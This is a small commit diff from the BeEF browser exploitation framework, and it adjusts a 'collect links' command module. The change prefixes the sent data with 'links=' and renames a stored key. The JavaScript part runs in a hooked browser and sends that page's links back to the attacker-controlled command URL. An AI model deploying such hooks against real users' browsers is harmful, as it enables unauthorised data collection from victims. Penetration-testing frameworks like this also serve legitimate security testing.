This commit is contained in:
Christian Frichot
2011-11-24 20:42:14 +08:00
2 changed files with 16 additions and 16 deletions

View File

@@ -13,9 +13,9 @@
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
beef.net.send("<%= @command_url %>", <%= @command_id %>, beef.dom.getLinks());
});
beef.execute(function() {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "links="+beef.dom.getLinks());
});

View File

@@ -13,13 +13,13 @@
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Collect_links < BeEF::Core::Command
def post_execute
content = {}
content['Links'] = @datastore['links']
save content
end
end
class Collect_links < BeEF::Core::Command
def post_execute
content = {}
content['links'] = @datastore['links']
save content
end
end